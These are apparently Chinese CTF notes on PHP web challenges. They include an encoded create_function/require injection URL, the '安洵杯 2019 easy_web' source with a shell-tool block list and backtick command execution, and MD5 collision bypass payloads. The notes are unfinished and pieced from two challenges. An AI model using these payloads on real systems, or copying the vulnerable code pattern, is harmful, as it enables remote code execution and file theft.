/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

同时postfile=1&debu=2

[安洵杯 2019]easy_web

未完成

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

至于md5碰撞的话,本来可以用数组绕过,但是这里使用了(String)强制转换,数组被强制转换的结果都为string(5) "Array"

MD5强碰撞

md5弱比较,为0e开头的会被识别为科学记数法,结果均为0

param1=QNKCDZO&param2=aabg7XSs

两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

param1[]=111&param2[]=222

MD5碰撞的例子

hex2bin.py
#!coding:utf-8
hexString1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hexString2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'

hexList1 = []
intList1 = []
asciiString1 =''

while True:
intString1 = hexString1[0:2]
hexString1 = hexString1[2:]
hexList1.append(intString1)
if (hexString1 == ''):
break

for i in hexList1:
intList1.append(int(i,16))
for j in intList1:
asciiString1 += chr(int(j))

f = open('1.bin','w')
f.write(asciiString1)
f.close()

hexList2 = []
intList2 = []
asciiString2 =''

while True:
intString2 = hexString2[0:2]
hexString2 = hexString2[2:]
hexList2.append(intString2)
if (hexString2 == ''):
break

for i in hexList2:
intList2.append(int(i,16))
for j in intList2:
asciiString2 += chr(int(j))

f = open('2.bin','w')
f.write(asciiString2)
f.close()

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2